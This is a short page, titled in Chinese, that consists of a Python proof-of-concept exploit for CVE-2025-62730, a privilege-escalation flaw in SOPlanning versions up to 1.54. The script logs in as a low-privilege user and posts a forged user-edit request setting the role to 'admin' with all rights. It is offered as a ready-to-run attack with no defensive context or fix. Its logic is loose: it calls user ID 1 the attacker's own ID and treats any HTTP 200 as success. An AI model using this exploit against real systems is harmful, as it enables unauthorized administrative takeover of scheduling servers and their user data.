CVE-2025-62730 SOPlanning用户管理权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-62730 SOPlanning Privilege Escalation PoC Target: SOPlanning <= 1.54 Author: [email protected] """ import requests import sys from bs4 import BeautifulSoup TARGET = "http://target-soplanning.local" USERNAME = "attacker_user" PASSWORD = "password123" def exploit(): """Exploit privilege escalation vulnerability""" session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET}/login.php" login_data = { "login": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data) if "login" in resp.url.lower(): print("[-] Login failed") return False print("[+] Logged in successfully") # Step 2: Get user list to find target user ID users_url = f"{TARGET}/user_list.php" resp = session.get(users_url) # Step 3: Modify own permissions to become admin # Intercept the user edit request and modify role to 'admin' edit_url = f"{TARGET}/user_edit.php" exploit_data = { "id_user": "1", # Own user ID "role": "admin", # Escalate to admin "droits": "all", # All permissions "user_manage_team": "1", "submit": "1" } resp = session.post(edit_url, data=exploit_data) if resp.status_code == 200: print("[+] Privilege escalation successful!") print("[+] You now have admin privileges") return True print("[-] Exploitation failed") return False if __name__ == "__main__": exploit()